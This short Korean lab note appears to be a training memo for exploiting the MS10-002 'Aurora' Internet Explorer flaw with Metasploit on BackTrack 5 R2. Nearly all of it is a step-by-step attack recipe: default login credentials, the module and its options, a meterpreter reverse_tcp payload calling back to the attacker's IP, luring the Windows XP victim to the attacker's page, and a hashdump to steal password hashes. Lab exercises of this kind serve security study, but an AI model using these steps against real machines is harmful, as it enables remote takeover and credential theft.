[BT5R2] MS10_002_aurora 공격

 

 

BT5R2
- root
- toor
- startx
- msfconsole

 

 

 

[MS10_002_aurora]
#XP(피해자PC)
- 시작 -> 실행 -> lusrmgr.msc
- 사용자 -> administrator -> 암호설정

1) search browser
2) use windows/browser/ms10_002_aurora
3) show options
4) set srvport 80
5) set uripath test.html
6) show payloads
7) set payload windows/meterpreter/reverse_tcp
8) show options
9) set lhost 공격자ip(ifconfig -> eth1 -> inetaddr)
ex) set lhost 192.168.198.142
10) exploit

#피해자PC
- 브라우저에서
- http://192.168.198.142/test.html

hashdump